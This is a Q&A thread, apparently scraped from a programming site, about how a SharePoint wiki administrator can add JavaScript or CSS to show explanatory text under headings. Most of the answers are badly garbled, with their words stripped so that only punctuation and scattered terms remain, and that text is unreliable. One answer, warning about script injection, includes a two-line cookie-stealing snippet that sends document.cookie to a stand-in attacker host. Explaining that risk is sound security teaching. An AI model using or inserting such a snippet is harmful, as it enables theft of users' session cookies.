How to inject javascript into a wiki page?

How can I, as a wiki administrator, inject scripts (Javascript) into the Sharepoint wiki page?

I would like to enter a heading and, clicking on it, displaying a short explanation below it. I usually did this with javascript, any other idea?

+6
source share
10 answers

Assuming you are a wiki administrator and ready to display it on the mouse, not on the click, you don't need javascript at all - you can use direct CSS. Here is an example of styles and layouts:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

With a few more styles involved, your toolbar may look as good as we would like.

+4

wiki , , .

JavaScript, , , , .

, evil-me script -:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

cookie , . .

+10

Wiki. , , - js - , script src.

, , IFRAME, , script. , DOM .

+1

CSS. CSS Javascript, .
, - Community Kit SharePoint Enhanced Wiki Edition Codeplex. . .

+1

. , - , . wikipedia.

0

javascript wiki. , , - - .

0

Javascript - , . , - .

, "101010" .

0

, -, . , , , javascript wiki.

0

title="text here" , .
Internet Explorer , alt="text here", .

, <h2 title="some explanation here">headline</h2> , ( ).

0

-

" Insert " Web Part. " Media and Content " Content Editor. Edit Web Part " Edit Web Part. - " Appearance " Chrome Type " None. " Click Here to Add Content -, " Edit HTML Source . HTML .

. , .js <script src="...">. .

Source: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages

0
source

All Articles